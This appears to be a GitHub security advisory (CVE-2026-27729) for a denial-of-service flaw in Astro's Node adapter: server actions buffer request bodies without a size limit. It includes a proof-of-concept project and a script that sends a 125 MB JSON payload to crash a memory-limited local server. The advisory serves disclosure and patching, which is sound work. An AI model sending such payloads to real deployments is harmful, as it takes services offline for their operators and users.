Skip to content

Astro has memory exhaustion DoS due to missing request body size limit in Server Actions

Moderate severity GitHub Reviewed Published Feb 23, 2026 in withastro/astro • Updated Feb 25, 2026

Package

npm @astrojs/node (npm)

Affected versions

>= 9.0.0, < 9.5.4

Patched versions

9.5.4

Description

Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

PoC

Details

Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-dos",
  "private": true,
  "scripts": {
    "build": "astro build",
    "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/actions/index.ts:

import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';

export const server = {
  echo: defineAction({
    input: z.object({ data: z.string() }),
    handler: async (input) => ({ received: input.data.length }),
  }),
};

src/pages/index.astro:

---
---
<html><body><p>Server running</p></body></html>

crash-test.mjs:

const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...');
try {
  const res = await fetch('http://localhost:4321/_actions/echo', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
    body: payload,
  });
  console.log('Status:', res.status);
} catch (e) {
  console.log('Server crashed:', e.message);
}

Reproduction

npm install && npm run build

# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb

# Terminal 2: Send 125 MB payload
node crash-test.mjs

The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.

Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

References

@matthewp matthewp published to withastro/astro Feb 23, 2026
Published by the National Vulnerability Database Feb 24, 2026
Published to the GitHub Advisory Database Feb 25, 2026
Reviewed Feb 25, 2026
Last updated Feb 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-27729

GHSA ID

GHSA-jm64-8m5q-4qh8

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.